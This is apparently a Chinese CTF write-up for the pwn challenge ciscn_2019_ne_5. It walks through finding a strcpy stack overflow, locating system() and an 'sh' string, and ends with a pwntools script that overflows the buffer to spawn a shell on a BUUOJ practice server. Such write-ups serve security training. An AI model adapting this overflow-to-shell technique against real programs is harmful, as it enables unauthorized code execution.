ciscn_2019_ne_5 1
1.checksec
2.ida
该题逻辑为先输入admin password,如果admin passaord为administrator,则从下面选一个数执行对应的程序
1.Add a log.
2.Display all logs.
3.Print all logs.
0.Exit
通过分析可知4中的GetFlag中strcpy(dest, src);存在栈溢出漏洞,而dest距离栈底有0x48个单位长度,而src可以通过进入1,就可以输入src的值,而且执行完1后(即输入完src的值后)会自动返回到puts(“Input your operation:”);处来,然后继续输入v4的值。
从3中的Print()中发现有system()的调用,反汇编查看call _system的地址为0x80484D0
使用命令ROPgadget --binary pwn20 --string '/bin/sh’尝试寻找/bin/sh的地址,但没有找到,而sh可替换/bin/sh,故再使用ROPgadget --binary pwn20 --string 'sh’发现可以寻找到sh的地址0x080482ea
故此题的攻击逻辑为先进入1输入src的值(即payload),再接着进入4就可获取shell
exp
from pwn import*
p=remote('node4.buuoj.cn',28233)
sh_addr=0x080482ea
sys_addr=0x80486B9
p.sendlineafter('admin password:',b'administrator')
p.sendlineafter('0.Exit\n:','1')
payload=b'a'*0x4c+p32(sys_addr)+p32(sh_addr)
p.sendlineafter('log info:',payload)
p.sendlineafter('0.Exit\n:','4')
p.interactive()